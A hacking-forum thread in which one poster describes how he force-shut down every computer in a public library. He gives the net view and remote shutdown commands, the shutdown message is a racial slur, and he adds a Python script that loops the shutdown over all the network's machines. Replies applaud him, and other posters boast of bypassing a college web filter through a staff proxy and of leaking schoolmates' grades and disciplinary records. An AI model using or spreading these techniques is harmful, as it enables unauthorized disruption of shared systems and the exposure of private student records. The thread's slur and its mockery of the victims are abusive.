[Eclipse]

So, this is more of a story as a guide than a proper tutorial:

I was at my local library a few hours ago. Shit, first time in 2 years. I thought, why not fuck around with the computers a little?

So, I booted up a computer, Windows XP (pfft), and ran cmd via the notepad method. The first thing I tried was a remote shutdown.

Code:

net view
shutdown –m \\compname –s –f -c "Niggurs." -t 5

It worked. I thought that no sysadmin could ever get that stupid... Like, how? These guys deserve everything they get. So I made a simple python script to shutdown everything.

First, I piped 'net view' to a .txt file, and tidied it up a bit so only computer names were left. Damn, that's a lot of computers.

Then, for the fun bit:

Code:

import os

f = open('computers.txt', 'r+')
for line in f.readlines():
    line = line.strip()
    os.system('shutdown -m ' + line + ' -s -f -t 0')
    print line
f.close()

Waited a few minutes for it to complete, looked around at everyone's bewildered and angry faces, and executed a hasty retreat.

[Baki Billa]

ahaha that's funny. well done hacking

[Master]

Well done. I tried something similar at my college windows 7 machines however the system admin were one step ahead of me but I manage to bypass the web filter via using the staff proxy.

[Eclipse]

Well done. I tried something similar at my college windows 7 machines however the system admin were one step ahead of me but I manage to bypass the web filter via using the staff proxy.

#tormasterrace

[Equinox]

Nice job. I have also done something of the sort, to my middle school. Though not every computer, just one teacher in particular. I'll have to keep this idea in handy, in the ol' back pocket.

[Satan]

They blocked that when I was in high school. As well as using other OS's. Ironically though you could lock the computer through bios so only you could use it. And get into the disciplinary records/grades/etc basically whatever file you wanted cos they didn't lock students out of the hidden networks for some reason. They used to at least have a program that let them watch your desktop, but it was crap cos if you had a program that supported multiple desktops on one monitor, they couldn't see the second one. You want to see havoc, get peoples grades and disciplinary reports and spread them. Apparently until after that they weren't using logs, or didn't care, cos they didn't drop the hammer on me. Found it on accident when teacher left run command pasted for accessing a test on the hidden network drive.

[Eclipse]

They blocked that when I was in high school. As well as using other OS's. Ironically though you could lock the computer through bios so only you could use it. And get into the disciplinary records/grades/etc basically whatever file you wanted cos they didn't lock students out of the hidden networks for some reason. They used to at least have a program that let them watch your desktop, but it was crap cos if you had a program that supported multiple desktops on one monitor, they couldn't see the second one. You want to see havoc, get peoples grades and disciplinary reports and spread them. Apparently until after that they weren't using logs, or didn't care, cos they didn't drop the hammer on me. Found it on accident when teacher left run command pasted for accessing a test on the hidden network drive.

Should've leaked them.

[Satan]

Should've leaked them.

The grades and reports? I did. Anonymously as I could think of as a sophomore, ofc.

[Eclipse]

The grades and reports? I did. Anonymously as I could think of as a sophomore, ofc.

Where?

[Satan]

Where?

Bathrooms lololol